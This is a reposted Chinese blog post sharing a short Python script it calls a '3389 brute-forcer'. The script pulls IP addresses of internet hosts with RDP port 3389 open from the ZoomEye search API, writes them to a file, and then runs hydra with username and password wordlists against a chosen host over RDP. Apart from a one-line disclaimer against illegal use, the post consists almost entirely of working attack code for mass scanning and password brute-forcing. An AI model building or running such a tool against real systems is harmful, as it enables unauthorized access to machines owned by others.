python 3389爆破机
生活随笔
收集整理的這篇文章主要介紹了
python 3389爆破机
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
前言:
?= =上學后的第一個星期假期,寫了個3389爆破器
? ?-
0x01
準備:
hydra
鐘馗之眼API
0x02代碼:
import optparse import os import requests import time def mian():print('[!]切記不要做違法的事情。否則后果自負')usage='[help -s 掃描全網3389]'parser=optparse.OptionParser(usage)parser.add_option('-s',action='store_true',dest='ji',help='掃描全網3389')parser.add_option('-b',dest='bao',help='爆破字典(username)')parser.add_option('-p',dest='passs',help='爆破字典(password)')parser.add_option('-x',dest='host',help='目標')(options,args)=parser.parse_args()if options.ji:Ji()elif options.bao and options.host and options.passs:bao=options.baoip=options.hostpasss=options.passsBao(bao,ip,passs)else:parser.print_help()exit() def Ji():for r in range(1,10):time.sleep(1)g='https://api.zoomeye.org/host/search?query=port:3389&page={}'.format(r)headers={"Authorization":"JWT token"}r=requests.get(g,headers=headers)sd=r.json()rsd=sd['matches'][0:]for l in rsd:print(l['ip'])owe=l['ip']with open('3389.txt','a') as p:p.write(owe+'\n') def Bao(bao,ip,passs):baopo=os.system('hydra.exe -L {} -P {} rdp://{}'.format(bao,passs,ip)) if __name__ == '__main__':mian()效果圖:
?
轉載于:https://www.cnblogs.com/haq5201314/p/8503307.html
《新程序員》:云原生和全面數字化實踐50位技術專家共同創作,文字、視頻、音頻交互閱讀總結
以上是生活随笔為你收集整理的python 3389爆破机的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 第八届蓝桥杯决赛 磁砖样式
- 下一篇: Sql性能优化